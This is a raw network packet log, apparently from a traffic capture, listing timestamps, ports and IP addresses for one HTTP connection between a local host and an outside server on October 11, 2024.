Oct 11, 2024 22:32:38.617966890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617980003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617988110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617999077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618010044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618026018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618031025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618046999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618052959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618067026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618076086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618086100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618096113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618107080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618118048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618134022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618161917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618180990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618195057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618200064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618216991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618221998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618233919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618242025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618246078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618269920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618273020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618288040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618302107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618310928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618315935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618329048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618340969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618349075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618364096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618379116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618380070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618398905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618412018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618418932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618436098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618437052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618451118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618460894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618468046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618483067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.618489981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.618513107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619303942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619318008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619343996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619362116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619379044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619380951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619414091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619414091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619436979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619446993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619457006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619467020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619477987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619484901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619505882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619508028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619528055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619537115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619549036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619566917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619568110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619582891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619591951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619601011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619611979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619627953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619658947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619667053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619678020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619694948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619700909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619712114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619720936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619725943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619740963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619755983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619760990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619775057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619787931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619790077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619807959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619824886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619836092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619837999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619867086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619869947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619885921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619894981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619905949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619915962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619924068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619940042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619950056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619961023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619971991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619976997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.619993925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.619999886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620012045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620022058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620034933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620048046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620057106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620070934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620079041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620079994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620099068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620110989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620121002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620125055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620135069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620152950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620162010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620181084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620182991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620201111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620215893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620218992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620229006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620240927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620251894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620259047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620268106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620280027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620299101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620301962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620322943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620326996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620337009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620347023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620366096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620373964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620383024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620398998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620403051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620415926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620436907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620439053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620455027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620466948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620472908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620486975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620495081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620507956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620517015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620522022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620539904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620547056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620553970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620567083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620577097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620587111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620598078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620606899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620619059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620628119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620632887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620647907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620659113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620668888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.620681047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.620693922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777414083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777477026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777487993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777498007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777519941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777523041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777529955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777544022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777559042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777568102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777573109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777590036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777601957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777614117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777621031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777635098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777647972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.777648926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777657032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777663946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777669907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777677059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777683973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777688980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.777796030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778073072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778086901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778111935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778117895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778129101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778132915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778157949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778172970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778270960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778307915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778345108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778363943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778379917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778384924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778397083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778412104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778425932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778481007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778497934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778520107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778526068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778539896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778543949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778558016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778561115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778575897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778584957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778592110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778605938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778621912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778624058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778641939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778649092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778662920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778665066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778680086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778697968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778841019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778862000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.778879881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778892994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.778989077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779002905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779031038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779046059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779548883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779568911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779597044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779603004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779617071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779617071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779640913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779644012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779658079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779675007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779680014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779697895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779701948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.779717922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779736996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.779987097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780005932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780038118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780049086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780133963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780148029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780173063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780179024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780196905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780196905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780213118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780219078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780234098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780239105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780249119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780258894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780275106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780280113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780286074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780303001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780309916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780319929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780333042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780348063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780514002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780550957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780842066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780855894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780880928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780886889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780905008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780921936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780941010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780958891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780977011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.780982018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.780991077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781008005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781054974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781073093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781089067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781091928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781111002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781120062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781128883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781141043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781151056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781161070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781172991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781181097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781186104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781202078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781209946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781234026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781259060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781284094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781294107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781303883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781316996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781325102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781331062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781346083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781354904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781364918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781377077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781385899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781405926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781407118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781425953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781430006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781436920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781450987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781461000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781471014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781476974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781498909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781501055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781518936 CEST	80	49707	45.66.249.162	192.168.2.8
